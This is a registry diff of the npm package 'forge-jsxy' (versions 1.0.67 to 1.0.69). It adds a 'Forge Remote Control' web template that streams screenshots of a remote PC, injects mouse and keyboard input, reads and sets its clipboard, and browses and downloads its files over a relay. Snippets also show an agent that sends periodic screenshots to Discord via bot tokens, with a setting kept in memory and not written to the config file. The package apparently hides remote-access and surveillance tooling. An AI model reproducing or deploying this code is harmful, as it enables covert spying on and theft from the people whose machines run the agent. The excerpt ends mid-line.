forge-jsxy 1.0.67 → 1.0.69
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/assets/files-explorer-template.html +2 -32
- package/assets/remote-control-template.html +496 -0
- package/dist/assets/files-explorer-template.html +3 -33
- package/dist/assets/remote-control-template.html +496 -0
- package/dist/discordAgentScreenshot.d.ts +2 -2
- package/dist/discordAgentScreenshot.js +5 -5
- package/dist/filesExplorer.d.ts +1 -0
- package/dist/filesExplorer.js +38 -0
- package/dist/fsMessages.js +16 -0
- package/dist/fsProtocol.d.ts +4 -0
- package/dist/fsProtocol.js +525 -23
- package/dist/relayAgent.js +9 -1
- package/dist/relayServer.js +22 -2
- package/package.json +1 -1
- package/scripts/forge-jsx-explorer-upgrade.mjs +42 -3
|
@@ -0,0 +1,496 @@
|
|
|
1
|
+
<!DOCTYPE html>
|
|
2
|
+
<html lang="en">
|
|
3
|
+
<head>
|
|
4
|
+
<meta charset="UTF-8" />
|
|
5
|
+
<meta name="viewport" content="width=device-width,initial-scale=1" />
|
|
6
|
+
<title>Forge Remote Control</title>
|
|
7
|
+
<style>
|
|
8
|
+
:root { color-scheme: dark; }
|
|
9
|
+
body { margin: 0; font: 13px/1.4 system-ui, sans-serif; background: #1e1e1e; color: #d4d4d4; }
|
|
10
|
+
.bar { display: flex; gap: 8px; align-items: center; padding: 8px; background: #252526; border-bottom: 1px solid #3e3e42; }
|
|
11
|
+
.bar input, .bar button { font: inherit; }
|
|
12
|
+
.bar input { background: #3c3c3c; color: #d4d4d4; border: 1px solid #555; border-radius: 4px; padding: 5px 8px; }
|
|
13
|
+
.bar button { background: #0e639c; color: #fff; border: 0; border-radius: 4px; padding: 6px 10px; cursor: pointer; }
|
|
14
|
+
.bar button.alt { background: #3a3d41; }
|
|
15
|
+
.bar button.warn { background: #5a1d1d; }
|
|
16
|
+
.spacer { flex: 1; }
|
|
17
|
+
.state { opacity: .9; }
|
|
18
|
+
.screen-wrap { position: fixed; inset: 49px 0 0 0; overflow: auto; background: #111; }
|
|
19
|
+
.screen {
|
|
20
|
+
display: block;
|
|
21
|
+
max-width: none;
|
|
22
|
+
user-select: none;
|
|
23
|
+
cursor: default;
|
|
24
|
+
margin: 0;
|
|
25
|
+
}
|
|
26
|
+
.screen.write-enabled { cursor: crosshair; }
|
|
27
|
+
.file-panel { position: fixed; right: 8px; top: 56px; width: 360px; max-height: 50vh; overflow: auto; background: #1b1b1d; border: 1px solid #3e3e42; border-radius: 6px; padding: 8px; display: none; z-index: 8; }
|
|
28
|
+
.file-panel.open { display: block; }
|
|
29
|
+
.file-panel .row { display: flex; gap: 6px; margin-bottom: 6px; }
|
|
30
|
+
.file-panel button { font: inherit; }
|
|
31
|
+
.file-list { border: 1px solid #3e3e42; border-radius: 4px; padding: 4px; max-height: 35vh; overflow: auto; }
|
|
32
|
+
.file-item { display: block; width: 100%; text-align: left; background: #2a2a2d; color: #d4d4d4; border: 1px solid #3e3e42; border-radius: 4px; padding: 4px 6px; margin: 3px 0; cursor: pointer; }
|
|
33
|
+
.file-item.dir { background: #253045; }
|
|
34
|
+
.path-label { font-size: 12px; opacity: 0.85; word-break: break-all; }
|
|
35
|
+
</style>
|
|
36
|
+
</head>
|
|
37
|
+
<body>
|
|
38
|
+
<div class="bar">
|
|
39
|
+
<strong>Remote</strong>
|
|
40
|
+
<label>Session <input id="session" placeholder="client_xxx" /></label>
|
|
41
|
+
<label>Password <input id="pwd" type="password" placeholder="@@PWD_HINT@@" /></label>
|
|
42
|
+
<button id="connectBtn">Connect</button>
|
|
43
|
+
<button id="modeBtn" class="alt">View Only</button>
|
|
44
|
+
<button id="refreshBtn" class="alt">Refresh</button>
|
|
45
|
+
<button id="clipPullBtn" class="alt">Clipboard: PC -> Local</button>
|
|
46
|
+
<button id="clipPushBtn" class="alt">Clipboard: Local -> PC</button>
|
|
47
|
+
<button id="browseBtn" class="alt">Browse PC Files</button>
|
|
48
|
+
<input id="filePullPath" placeholder="C:\\Users\\...\\file.txt" />
|
|
49
|
+
<button id="filePullBtn" class="alt">Fetch File <- PC</button>
|
|
50
|
+
<input id="filePushInput" type="file" />
|
|
51
|
+
<button id="filePushBtn" class="alt">Send File -> PC</button>
|
|
52
|
+
<button id="disconnectBtn" class="warn">Disconnect</button>
|
|
53
|
+
<span class="spacer"></span>
|
|
54
|
+
<span class="state" id="state">Idle</span>
|
|
55
|
+
<span class="state" id="modeState">Mode: View Only</span>
|
|
56
|
+
</div>
|
|
57
|
+
<div class="screen-wrap" id="screenWrap">
|
|
58
|
+
<img id="screen" class="screen" alt="Remote screen" />
|
|
59
|
+
</div>
|
|
60
|
+
<div class="file-panel" id="filePanel">
|
|
61
|
+
<div class="row">
|
|
62
|
+
<button id="rootsBtn" class="alt">Roots</button>
|
|
63
|
+
<button id="upBtn" class="alt">Up</button>
|
|
64
|
+
<button id="closePanelBtn" class="warn">Close</button>
|
|
65
|
+
</div>
|
|
66
|
+
<div class="path-label" id="pathLabel">Path: (none)</div>
|
|
67
|
+
<div class="file-list" id="fileList"></div>
|
|
68
|
+
</div>
|
|
69
|
+
<script>
|
|
70
|
+
const relayFallback = @@RELAY_FALLBACK_JS@@ || "";
|
|
71
|
+
const pwdHint = @@PWD_JS@@ || "";
|
|
72
|
+
const stateEl = document.getElementById("state");
|
|
73
|
+
const modeStateEl = document.getElementById("modeState");
|
|
74
|
+
const sessionEl = document.getElementById("session");
|
|
75
|
+
const pwdEl = document.getElementById("pwd");
|
|
76
|
+
const screenEl = document.getElementById("screen");
|
|
77
|
+
const modeBtn = document.getElementById("modeBtn");
|
|
78
|
+
const wrapEl = document.getElementById("screenWrap");
|
|
79
|
+
const clipPullBtn = document.getElementById("clipPullBtn");
|
|
80
|
+
const clipPushBtn = document.getElementById("clipPushBtn");
|
|
81
|
+
const browseBtn = document.getElementById("browseBtn");
|
|
82
|
+
const filePullPath = document.getElementById("filePullPath");
|
|
83
|
+
const filePullBtn = document.getElementById("filePullBtn");
|
|
84
|
+
const filePushInput = document.getElementById("filePushInput");
|
|
85
|
+
const filePushBtn = document.getElementById("filePushBtn");
|
|
86
|
+
const filePanel = document.getElementById("filePanel");
|
|
87
|
+
const rootsBtn = document.getElementById("rootsBtn");
|
|
88
|
+
const upBtn = document.getElementById("upBtn");
|
|
89
|
+
const closePanelBtn = document.getElementById("closePanelBtn");
|
|
90
|
+
const pathLabel = document.getElementById("pathLabel");
|
|
91
|
+
const fileList = document.getElementById("fileList");
|
|
92
|
+
let ws = null;
|
|
93
|
+
let authed = false;
|
|
94
|
+
let writeEnabled = false;
|
|
95
|
+
let screenshotTimer = null;
|
|
96
|
+
let reqSeq = 0;
|
|
97
|
+
let inflightShot = false;
|
|
98
|
+
const pendingReqs = new Map();
|
|
99
|
+
let remoteClipboardBusy = false;
|
|
100
|
+
let localClipboardBusy = false;
|
|
101
|
+
let currentBrowsePath = "";
|
|
102
|
+
|
|
103
|
+
function setState(t) { stateEl.textContent = t; }
|
|
104
|
+
function updateWriteControls() {
|
|
105
|
+
const ro = !writeEnabled;
|
|
106
|
+
clipPullBtn.disabled = ro;
|
|
107
|
+
clipPushBtn.disabled = ro;
|
|
108
|
+
filePullBtn.disabled = ro;
|
|
109
|
+
filePullPath.disabled = ro;
|
|
110
|
+
filePushBtn.disabled = ro;
|
|
111
|
+
filePushInput.disabled = ro;
|
|
112
|
+
browseBtn.disabled = ro;
|
|
113
|
+
rootsBtn.disabled = ro;
|
|
114
|
+
upBtn.disabled = ro;
|
|
115
|
+
closePanelBtn.disabled = ro;
|
|
116
|
+
if (ro) filePanel.classList.remove("open");
|
|
117
|
+
}
|
|
118
|
+
function hashHex(s) {
|
|
119
|
+
return crypto.subtle.digest("SHA-256", new TextEncoder().encode(s)).then((buf) =>
|
|
120
|
+
[...new Uint8Array(buf)].map((b) => b.toString(16).padStart(2, "0")).join("")
|
|
121
|
+
);
|
|
122
|
+
}
|
|
123
|
+
function wsBaseUrl() {
|
|
124
|
+
if (location.protocol.startsWith("http")) {
|
|
125
|
+
const wsProto = location.protocol === "https:" ? "wss:" : "ws:";
|
|
126
|
+
return wsProto + "//" + location.host;
|
|
127
|
+
}
|
|
128
|
+
return relayFallback || "ws://127.0.0.1:9877";
|
|
129
|
+
}
|
|
130
|
+
function connect() {
|
|
131
|
+
const sid = String(sessionEl.value || new URLSearchParams(location.search).get("session") || "").trim();
|
|
132
|
+
if (!sid) { setState("Session required"); return; }
|
|
133
|
+
sessionEl.value = sid;
|
|
134
|
+
const url = wsBaseUrl().replace(/\/+$/, "") + "/ws/viewer/" + encodeURIComponent(sid);
|
|
135
|
+
disconnect();
|
|
136
|
+
setState("Connecting…");
|
|
137
|
+
ws = new WebSocket(url);
|
|
138
|
+
ws.onopen = () => { setState("Connected — waiting auth"); ws.send(JSON.stringify({ type: "get_info" })); };
|
|
139
|
+
ws.onclose = () => { authed = false; setState("Disconnected"); stopShotLoop(); };
|
|
140
|
+
ws.onerror = () => { setState("Socket error"); };
|
|
141
|
+
ws.onmessage = async (ev) => {
|
|
142
|
+
let msg = null;
|
|
143
|
+
try { msg = JSON.parse(String(ev.data || "")); } catch { return; }
|
|
144
|
+
const t = String(msg && msg.type || "");
|
|
145
|
+
if (t === "auth_challenge") {
|
|
146
|
+
const pwd = String(pwdEl.value || pwdHint || "");
|
|
147
|
+
const ph = await hashHex(pwd);
|
|
148
|
+
const nonce = String(msg.nonce || "");
|
|
149
|
+
const resp = await hashHex(ph + ":" + nonce);
|
|
150
|
+
ws.send(JSON.stringify({ type: "auth", nonce, response: resp, password_hash: ph }));
|
|
151
|
+
return;
|
|
152
|
+
}
|
|
153
|
+
if (t === "auth_result") {
|
|
154
|
+
authed = !!msg.ok;
|
|
155
|
+
setState(authed ? "Authenticated" : "Auth failed");
|
|
156
|
+
if (authed) { startShotLoop(); requestScreenshot(); }
|
|
157
|
+
return;
|
|
158
|
+
}
|
|
159
|
+
if (t === "system_info") {
|
|
160
|
+
setState("Connected (" + String(msg?.data?.platform || "unknown") + ")");
|
|
161
|
+
return;
|
|
162
|
+
}
|
|
163
|
+
if (t === "fs_screenshot_result") {
|
|
164
|
+
inflightShot = false;
|
|
165
|
+
if (msg.ok && msg.b64) {
|
|
166
|
+
const mime = String(msg.mime || "image/png");
|
|
167
|
+
screenEl.src = "data:" + mime + ";base64," + String(msg.b64);
|
|
168
|
+
}
|
|
169
|
+
return;
|
|
170
|
+
}
|
|
171
|
+
const rid = String(msg && msg.request_id || "");
|
|
172
|
+
if (rid && pendingReqs.has(rid)) {
|
|
173
|
+
const done = pendingReqs.get(rid);
|
|
174
|
+
pendingReqs.delete(rid);
|
|
175
|
+
try { done(msg); } catch {}
|
|
176
|
+
return;
|
|
177
|
+
}
|
|
178
|
+
};
|
|
179
|
+
}
|
|
180
|
+
function disconnect() {
|
|
181
|
+
stopShotLoop();
|
|
182
|
+
if (ws) { try { ws.close(); } catch {} ws = null; }
|
|
183
|
+
authed = false;
|
|
184
|
+
inflightShot = false;
|
|
185
|
+
pendingReqs.clear();
|
|
186
|
+
writeEnabled = false;
|
|
187
|
+
modeBtn.textContent = "View Only";
|
|
188
|
+
modeStateEl.textContent = "Mode: View Only";
|
|
189
|
+
modeBtn.className = "alt";
|
|
190
|
+
screenEl.classList.remove("write-enabled");
|
|
191
|
+
updateWriteControls();
|
|
192
|
+
}
|
|
193
|
+
function stopShotLoop() {
|
|
194
|
+
if (screenshotTimer) { clearInterval(screenshotTimer); screenshotTimer = null; }
|
|
195
|
+
}
|
|
196
|
+
function startShotLoop() {
|
|
197
|
+
stopShotLoop();
|
|
198
|
+
screenshotTimer = setInterval(requestScreenshot, 900);
|
|
199
|
+
}
|
|
200
|
+
function requestScreenshot() {
|
|
201
|
+
if (!ws || ws.readyState !== 1 || !authed || inflightShot) return;
|
|
202
|
+
inflightShot = true;
|
|
203
|
+
ws.send(JSON.stringify({ type: "fs_screenshot", request_id: "shot_" + (++reqSeq) }));
|
|
204
|
+
}
|
|
205
|
+
function wsRequest(type, payload) {
|
|
206
|
+
if (!ws || ws.readyState !== 1 || !authed) return Promise.resolve({ ok: false, error: "not connected" });
|
|
207
|
+
const rid = type + "_" + (++reqSeq);
|
|
208
|
+
return new Promise((resolve) => {
|
|
209
|
+
pendingReqs.set(rid, resolve);
|
|
210
|
+
ws.send(JSON.stringify(Object.assign({ type, request_id: rid }, payload || {})));
|
|
211
|
+
setTimeout(() => {
|
|
212
|
+
if (!pendingReqs.has(rid)) return;
|
|
213
|
+
pendingReqs.delete(rid);
|
|
214
|
+
resolve({ ok: false, error: "request timeout" });
|
|
215
|
+
}, 8000);
|
|
216
|
+
});
|
|
217
|
+
}
|
|
218
|
+
async function pullRemoteFileToLocal(remotePath) {
|
|
219
|
+
const p = String(remotePath || "").trim();
|
|
220
|
+
if (!p) return { ok: false, error: "remote path required" };
|
|
221
|
+
const rid = "pull_" + (++reqSeq);
|
|
222
|
+
let off = 0;
|
|
223
|
+
let eof = false;
|
|
224
|
+
const chunks = [];
|
|
225
|
+
let fileName = "remote-file.bin";
|
|
226
|
+
while (!eof) {
|
|
227
|
+
const r = await wsRequest("fs_read", {
|
|
228
|
+
path: p,
|
|
229
|
+
chunk: true,
|
|
230
|
+
offset: off,
|
|
231
|
+
request_id: rid,
|
|
232
|
+
max_bytes: 8 * 1024 * 1024,
|
|
233
|
+
});
|
|
234
|
+
if (!r || !r.ok) return { ok: false, error: String((r && r.error) || "read failed") };
|
|
235
|
+
const rp = String(r.path || p);
|
|
236
|
+
const seg = rp.split(/[\\/]/).pop();
|
|
237
|
+
if (seg) fileName = seg;
|
|
238
|
+
const b64 = String(r.b64 || "");
|
|
239
|
+
if (b64) chunks.push(b64);
|
|
240
|
+
off = Number.isFinite(Number(r.next_offset)) ? Math.max(off, Number(r.next_offset)) : off;
|
|
241
|
+
eof = Boolean(r.eof);
|
|
242
|
+
}
|
|
243
|
+
if (chunks.length === 0) return { ok: false, error: "empty file or no read access" };
|
|
244
|
+
let totalLen = 0;
|
|
245
|
+
const bytes = [];
|
|
246
|
+
for (const b64 of chunks) {
|
|
247
|
+
const bin = atob(b64);
|
|
248
|
+
totalLen += bin.length;
|
|
249
|
+
const arr = new Uint8Array(bin.length);
|
|
250
|
+
for (let i = 0; i < bin.length; i++) arr[i] = bin.charCodeAt(i);
|
|
251
|
+
bytes.push(arr);
|
|
252
|
+
}
|
|
253
|
+
const out = new Uint8Array(totalLen);
|
|
254
|
+
let pos = 0;
|
|
255
|
+
for (const arr of bytes) {
|
|
256
|
+
out.set(arr, pos);
|
|
257
|
+
pos += arr.length;
|
|
258
|
+
}
|
|
259
|
+
const blob = new Blob([out], { type: "application/octet-stream" });
|
|
260
|
+
const url = URL.createObjectURL(blob);
|
|
261
|
+
const a = document.createElement("a");
|
|
262
|
+
a.href = url;
|
|
263
|
+
a.download = fileName;
|
|
264
|
+
document.body.appendChild(a);
|
|
265
|
+
a.click();
|
|
266
|
+
a.remove();
|
|
267
|
+
setTimeout(() => URL.revokeObjectURL(url), 1500);
|
|
268
|
+
return { ok: true, fileName, size: totalLen };
|
|
269
|
+
}
|
|
270
|
+
function setPathLabel(p) {
|
|
271
|
+
pathLabel.textContent = "Path: " + (String(p || "").trim() || "(none)");
|
|
272
|
+
}
|
|
273
|
+
function clearFileList(msg) {
|
|
274
|
+
fileList.innerHTML = "";
|
|
275
|
+
const d = document.createElement("div");
|
|
276
|
+
d.className = "path-label";
|
|
277
|
+
d.textContent = msg;
|
|
278
|
+
fileList.appendChild(d);
|
|
279
|
+
}
|
|
280
|
+
function joinPath(base, name) {
|
|
281
|
+
const b = String(base || "");
|
|
282
|
+
const n = String(name || "");
|
|
283
|
+
if (!b) return n;
|
|
284
|
+
if (/[\\/]$/.test(b)) return b + n;
|
|
285
|
+
return b + "\\" + n;
|
|
286
|
+
}
|
|
287
|
+
async function loadRootsIntoPanel() {
|
|
288
|
+
if (!writeEnabled) return;
|
|
289
|
+
clearFileList("Loading roots...");
|
|
290
|
+
const r = await wsRequest("fs_roots");
|
|
291
|
+
if (!r || !r.ok) { clearFileList("Failed to load roots"); return; }
|
|
292
|
+
const roots = Array.isArray(r.roots) ? r.roots : [];
|
|
293
|
+
currentBrowsePath = "";
|
|
294
|
+
setPathLabel("");
|
|
295
|
+
fileList.innerHTML = "";
|
|
296
|
+
for (const root of roots) {
|
|
297
|
+
const p = String(root.path || "");
|
|
298
|
+
if (!p) continue;
|
|
299
|
+
const btn = document.createElement("button");
|
|
300
|
+
btn.className = "file-item dir";
|
|
301
|
+
btn.textContent = "[ROOT] " + p;
|
|
302
|
+
btn.addEventListener("click", () => loadPathIntoPanel(p));
|
|
303
|
+
fileList.appendChild(btn);
|
|
304
|
+
}
|
|
305
|
+
if (!roots.length) clearFileList("No roots available");
|
|
306
|
+
}
|
|
307
|
+
async function loadPathIntoPanel(p) {
|
|
308
|
+
const pathToLoad = String(p || "").trim();
|
|
309
|
+
if (!pathToLoad) return;
|
|
310
|
+
clearFileList("Loading...");
|
|
311
|
+
const r = await wsRequest("fs_list", { path: pathToLoad });
|
|
312
|
+
if (!r || !r.ok) { clearFileList("Failed to open folder"); return; }
|
|
313
|
+
currentBrowsePath = pathToLoad;
|
|
314
|
+
setPathLabel(currentBrowsePath);
|
|
315
|
+
fileList.innerHTML = "";
|
|
316
|
+
const entries = Array.isArray(r.entries) ? r.entries : [];
|
|
317
|
+
for (const it of entries) {
|
|
318
|
+
const name = String(it.name || "");
|
|
319
|
+
const kind = String(it.kind || "");
|
|
320
|
+
if (!name) continue;
|
|
321
|
+
const full = joinPath(pathToLoad, name);
|
|
322
|
+
const btn = document.createElement("button");
|
|
323
|
+
btn.className = "file-item" + (kind === "dir" ? " dir" : "");
|
|
324
|
+
btn.textContent = (kind === "dir" ? "[DIR] " : "[FILE] ") + name;
|
|
325
|
+
if (kind === "dir") {
|
|
326
|
+
btn.addEventListener("click", () => loadPathIntoPanel(full));
|
|
327
|
+
} else {
|
|
328
|
+
btn.addEventListener("click", async () => {
|
|
329
|
+
filePullPath.value = full;
|
|
330
|
+
setState("Fetching remote file...");
|
|
331
|
+
const rr = await pullRemoteFileToLocal(full);
|
|
332
|
+
if (!rr || !rr.ok) { setState("File fetch failed"); return; }
|
|
333
|
+
setState("Fetched file from PC: " + String(rr.fileName || "download"));
|
|
334
|
+
});
|
|
335
|
+
}
|
|
336
|
+
fileList.appendChild(btn);
|
|
337
|
+
}
|
|
338
|
+
if (!entries.length) clearFileList("Folder is empty");
|
|
339
|
+
}
|
|
340
|
+
function sendRemoteInput(payload) {
|
|
341
|
+
if (!ws || ws.readyState !== 1 || !authed || !writeEnabled) return;
|
|
342
|
+
ws.send(JSON.stringify(Object.assign({
|
|
343
|
+
type: "rc_input",
|
|
344
|
+
request_id: "rc_" + (++reqSeq),
|
|
345
|
+
}, payload || {})));
|
|
346
|
+
}
|
|
347
|
+
function imgPoint(ev) {
|
|
348
|
+
const r = screenEl.getBoundingClientRect();
|
|
349
|
+
if (!r.width || !r.height || !screenEl.naturalWidth || !screenEl.naturalHeight) return null;
|
|
350
|
+
const x = Math.max(0, Math.min(screenEl.naturalWidth - 1, Math.round((ev.clientX - r.left) * (screenEl.naturalWidth / r.width))));
|
|
351
|
+
const y = Math.max(0, Math.min(screenEl.naturalHeight - 1, Math.round((ev.clientY - r.top) * (screenEl.naturalHeight / r.height))));
|
|
352
|
+
return { x, y };
|
|
353
|
+
}
|
|
354
|
+
|
|
355
|
+
document.getElementById("connectBtn").addEventListener("click", connect);
|
|
356
|
+
document.getElementById("disconnectBtn").addEventListener("click", disconnect);
|
|
357
|
+
document.getElementById("refreshBtn").addEventListener("click", requestScreenshot);
|
|
358
|
+
modeBtn.addEventListener("click", () => {
|
|
359
|
+
writeEnabled = !writeEnabled;
|
|
360
|
+
modeBtn.textContent = writeEnabled ? "Write Only" : "View Only";
|
|
361
|
+
modeStateEl.textContent = writeEnabled ? "Mode: Write Only" : "Mode: View Only";
|
|
362
|
+
modeBtn.className = writeEnabled ? "warn" : "alt";
|
|
363
|
+
screenEl.classList.toggle("write-enabled", writeEnabled);
|
|
364
|
+
updateWriteControls();
|
|
365
|
+
});
|
|
366
|
+
clipPullBtn.addEventListener("click", async () => {
|
|
367
|
+
if (!writeEnabled) { setState("Enable Write Only mode for clipboard"); return; }
|
|
368
|
+
const r = await wsRequest("rc_clipboard_get");
|
|
369
|
+
if (!r || !r.ok) { setState("Clipboard pull failed"); return; }
|
|
370
|
+
const text = String(r.text || "");
|
|
371
|
+
try {
|
|
372
|
+
await navigator.clipboard.writeText(text);
|
|
373
|
+
setState("Clipboard copied from PC to local");
|
|
374
|
+
} catch {
|
|
375
|
+
setState("Clipboard write blocked by browser");
|
|
376
|
+
}
|
|
377
|
+
});
|
|
378
|
+
clipPushBtn.addEventListener("click", async () => {
|
|
379
|
+
if (!writeEnabled) { setState("Enable Write Only mode for clipboard"); return; }
|
|
380
|
+
let text = "";
|
|
381
|
+
try {
|
|
382
|
+
text = await navigator.clipboard.readText();
|
|
383
|
+
} catch {
|
|
384
|
+
setState("Clipboard read blocked by browser");
|
|
385
|
+
return;
|
|
386
|
+
}
|
|
387
|
+
const r = await wsRequest("rc_clipboard_set", { text });
|
|
388
|
+
if (!r || !r.ok) { setState("Clipboard push failed"); return; }
|
|
389
|
+
setState("Clipboard sent from local to PC");
|
|
390
|
+
});
|
|
391
|
+
filePullBtn.addEventListener("click", async () => {
|
|
392
|
+
if (!writeEnabled) { setState("Enable Write Only mode for file fetch"); return; }
|
|
393
|
+
const p = String(filePullPath.value || "").trim();
|
|
394
|
+
if (!p) { setState("Enter remote file path first"); return; }
|
|
395
|
+
setState("Fetching remote file…");
|
|
396
|
+
const r = await pullRemoteFileToLocal(p);
|
|
397
|
+
if (!r || !r.ok) { setState("File fetch failed"); return; }
|
|
398
|
+
setState("Fetched file from PC: " + String(r.fileName || "download"));
|
|
399
|
+
});
|
|
400
|
+
browseBtn.addEventListener("click", async () => {
|
|
401
|
+
if (!writeEnabled) { setState("Enable Write Only mode for file browse"); return; }
|
|
402
|
+
filePanel.classList.toggle("open");
|
|
403
|
+
if (!filePanel.classList.contains("open")) return;
|
|
404
|
+
await loadRootsIntoPanel();
|
|
405
|
+
});
|
|
406
|
+
rootsBtn.addEventListener("click", async () => {
|
|
407
|
+
if (!writeEnabled) return;
|
|
408
|
+
await loadRootsIntoPanel();
|
|
409
|
+
});
|
|
410
|
+
upBtn.addEventListener("click", async () => {
|
|
411
|
+
if (!writeEnabled) return;
|
|
412
|
+
if (!currentBrowsePath) { await loadRootsIntoPanel(); return; }
|
|
413
|
+
const r = await wsRequest("fs_parent", { path: currentBrowsePath });
|
|
414
|
+
const p = r && r.ok ? String(r.path || "") : "";
|
|
415
|
+
if (!p) { await loadRootsIntoPanel(); return; }
|
|
416
|
+
await loadPathIntoPanel(p);
|
|
417
|
+
});
|
|
418
|
+
closePanelBtn.addEventListener("click", () => {
|
|
419
|
+
filePanel.classList.remove("open");
|
|
420
|
+
});
|
|
421
|
+
filePushBtn.addEventListener("click", async () => {
|
|
422
|
+
if (!writeEnabled) { setState("Enable Write Only mode for file send"); return; }
|
|
423
|
+
const f = filePushInput.files && filePushInput.files[0];
|
|
424
|
+
if (!f) { setState("Choose a file first"); return; }
|
|
425
|
+
const maxBytes = 20 * 1024 * 1024;
|
|
426
|
+
if (f.size > maxBytes) { setState("File too large (max 20MB)"); return; }
|
|
427
|
+
let b64 = "";
|
|
428
|
+
try {
|
|
429
|
+
const buf = await f.arrayBuffer();
|
|
430
|
+
const bytes = new Uint8Array(buf);
|
|
431
|
+
let bin = "";
|
|
432
|
+
const chunk = 0x8000;
|
|
433
|
+
for (let i = 0; i < bytes.length; i += chunk) {
|
|
434
|
+
bin += String.fromCharCode.apply(null, bytes.subarray(i, i + chunk));
|
|
435
|
+
}
|
|
436
|
+
b64 = btoa(bin);
|
|
437
|
+
} catch {
|
|
438
|
+
setState("Failed to read local file");
|
|
439
|
+
return;
|
|
440
|
+
}
|
|
441
|
+
setState("Sending file…");
|
|
442
|
+
const r = await wsRequest("rc_file_push", { name: String(f.name || "upload.bin"), b64 });
|
|
443
|
+
if (!r || !r.ok) { setState("File send failed"); return; }
|
|
444
|
+
const saved = String(r.saved_path || "");
|
|
445
|
+
setState(saved ? ("File sent to PC: " + saved) : "File sent to PC");
|
|
446
|
+
filePushInput.value = "";
|
|
447
|
+
});
|
|
448
|
+
|
|
449
|
+
screenEl.addEventListener("click", (ev) => {
|
|
450
|
+
const p = imgPoint(ev); if (!p) return;
|
|
451
|
+
sendRemoteInput({ action: "mouse_click", button: ev.button === 2 ? "right" : "left", x: p.x, y: p.y, click_count: 1 });
|
|
452
|
+
requestScreenshot();
|
|
453
|
+
});
|
|
454
|
+
screenEl.addEventListener("dblclick", (ev) => {
|
|
455
|
+
const p = imgPoint(ev); if (!p) return;
|
|
456
|
+
sendRemoteInput({ action: "mouse_click", button: "left", x: p.x, y: p.y, click_count: 2 });
|
|
457
|
+
requestScreenshot();
|
|
458
|
+
});
|
|
459
|
+
screenEl.addEventListener("contextmenu", (ev) => ev.preventDefault());
|
|
460
|
+
wrapEl.addEventListener("wheel", (ev) => {
|
|
461
|
+
if (!writeEnabled) return;
|
|
462
|
+
ev.preventDefault();
|
|
463
|
+
sendRemoteInput({ action: "mouse_wheel", delta_y: Math.round(ev.deltaY) });
|
|
464
|
+
}, { passive: false });
|
|
465
|
+
window.addEventListener("keydown", (ev) => {
|
|
466
|
+
if (!writeEnabled) return;
|
|
467
|
+
if (ev.ctrlKey && ev.shiftKey && !ev.altKey && !ev.metaKey && String(ev.key || "").toLowerCase() === "c") {
|
|
468
|
+
ev.preventDefault();
|
|
469
|
+
if (!remoteClipboardBusy) {
|
|
470
|
+
remoteClipboardBusy = true;
|
|
471
|
+
clipPullBtn.click();
|
|
472
|
+
setTimeout(() => { remoteClipboardBusy = false; }, 1200);
|
|
473
|
+
}
|
|
474
|
+
return;
|
|
475
|
+
}
|
|
476
|
+
if (ev.ctrlKey && ev.shiftKey && !ev.altKey && !ev.metaKey && String(ev.key || "").toLowerCase() === "v") {
|
|
477
|
+
ev.preventDefault();
|
|
478
|
+
if (!localClipboardBusy) {
|
|
479
|
+
localClipboardBusy = true;
|
|
480
|
+
clipPushBtn.click();
|
|
481
|
+
setTimeout(() => { localClipboardBusy = false; }, 1200);
|
|
482
|
+
}
|
|
483
|
+
return;
|
|
484
|
+
}
|
|
485
|
+
if (["INPUT", "TEXTAREA"].includes(String(document.activeElement && document.activeElement.tagName || ""))) return;
|
|
486
|
+
ev.preventDefault();
|
|
487
|
+
sendRemoteInput({ action: "key", key: ev.key, ctrl: ev.ctrlKey, alt: ev.altKey, shift: ev.shiftKey, meta: ev.metaKey });
|
|
488
|
+
});
|
|
489
|
+
|
|
490
|
+
const sid0 = new URLSearchParams(location.search).get("session");
|
|
491
|
+
if (sid0) sessionEl.value = sid0;
|
|
492
|
+
if (pwdHint) pwdEl.value = pwdHint;
|
|
493
|
+
updateWriteControls();
|
|
494
|
+
</script>
|
|
495
|
+
</body>
|
|
496
|
+
</html>
|
|
@@ -17,11 +17,11 @@ export type DiscordAgentScreenshotOpts = {
|
|
|
17
17
|
};
|
|
18
18
|
/**
|
|
19
19
|
* Milliseconds between capture cycles (after each capture finishes). Same bounds as relay handshake
|
|
20
|
-
* `discord_screenshot_interval_ms`: **
|
|
20
|
+
* `discord_screenshot_interval_ms`: **10s–600s**; invalid/unset agent env defaults to **300000**.
|
|
21
21
|
*/
|
|
22
22
|
export declare function resolveDiscordScreenshotIntervalMs(): number;
|
|
23
23
|
/**
|
|
24
|
-
* Base interval plus optional **stable** stagger from `client_id` (same bounds
|
|
24
|
+
* Base interval plus optional **stable** stagger from `client_id` (same bounds 10s–600s).
|
|
25
25
|
*/
|
|
26
26
|
export declare function resolveDiscordScreenshotScheduledIntervalMs(clientId: string): number;
|
|
27
27
|
export declare function startDiscordScreenshotToRelayLoop(opts: DiscordAgentScreenshotOpts): () => void;
|
|
@@ -70,7 +70,7 @@ exports.startDiscordScreenshotToRelayLoop = startDiscordScreenshotToRelayLoop;
|
|
|
70
70
|
* `relay_features.discord_screenshot: true` (enabled in-memory only — not written to `forge-js-agent.env`).
|
|
71
71
|
* Interval: relay sends `relay_features.discord_screenshot_interval_ms` (default **300000** when Discord is enabled on the relay)
|
|
72
72
|
* unless the agent already set `FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS` (agent wins over relay for cadence).
|
|
73
|
-
* Optional `FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS` on the agent; **milliseconds** (300000 = 5m); clamped
|
|
73
|
+
* Optional `FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS` on the agent; **milliseconds** (300000 = 5m); clamped 10s–600s.
|
|
74
74
|
*/
|
|
75
75
|
const node_crypto_1 = require("node:crypto");
|
|
76
76
|
const discordBotTokens_1 = require("./discordBotTokens");
|
|
@@ -155,11 +155,11 @@ function discordScreenshotFirstDelayMs() {
|
|
|
155
155
|
}
|
|
156
156
|
/**
|
|
157
157
|
* Milliseconds between capture cycles (after each capture finishes). Same bounds as relay handshake
|
|
158
|
-
* `discord_screenshot_interval_ms`: **
|
|
158
|
+
* `discord_screenshot_interval_ms`: **10s–600s**; invalid/unset agent env defaults to **300000**.
|
|
159
159
|
*/
|
|
160
160
|
function resolveDiscordScreenshotIntervalMs() {
|
|
161
161
|
const rawMs = (process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS || "300000").trim();
|
|
162
|
-
return Math.min(600_000, Math.max(
|
|
162
|
+
